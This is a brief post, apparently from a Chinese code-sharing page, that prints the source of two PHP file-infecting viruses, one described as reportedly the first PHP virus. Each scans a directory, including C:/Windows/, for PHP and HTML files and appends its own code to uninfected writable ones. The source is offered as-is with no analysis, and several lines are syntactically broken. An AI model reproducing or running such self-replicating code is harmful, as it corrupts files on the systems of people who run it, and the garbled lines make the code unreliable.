php病毒

<?php

//第一只php病毒(据说是)

$handle=opendir('.');

while ($file = readdir($handle))

{ $infected=true;

$executable=false;

if ( ($executable = strstr ($file, '.php')) || ($executable = strstr ($file, '.htm')) || ($executable = strstr($file, '.php')) )

if ( is_file($file) && is_writeable($file) )

{

$host = fopen($file, "r");

$contents = fread ($host, filesize ($file));

$sig = strstr ($contents, 'pirus.php');

if(!$sig) $infected=false;

}

if (($infected==false))

{

$host = fopen($file, "a");

fputs($host,"fputs($host,__FILE__);

fputs($host,"/"); ");

fputs($host,"?>");

fclose($host);

return;

}

} closedir($handle);

print "hello";

?>

<?php

//第二个病毒：

$vir_string = "Neworld.PHP/n";

$virstringm = "Welcome To The New World Of PHP Programming/n";

$virt = $vir_string . $virstringm;

echo $virt;

$all = opendir('C:/Windows/');

while ($file = readdir($all))

{

$inf = true;

$exe = false;

if ( ($exe = strstr ($file, '.php')) || ($exe = strstr ($file, '.html')) || ($exe = strstr ($file, '.htm')) || ($exe =strstr ($file, '.htt')) )

if ( is_file($file) && is_writeable($file) )

{

$new = fopen($file, "r");

$look = fread($new, filesize($file));

$yes = strstr ($look, 'neworld.php');

if (!$yes) $inf = false;

}

if ( ($inf=false) )

{ $new = fopen($file, "a");

$fputs($new, "");

$fputs($new, "$fputs($new, __FILE__);

$fputs($new, "/"); ");

$fputs($new, "?>");

return;

}

}

closedir($all);

?>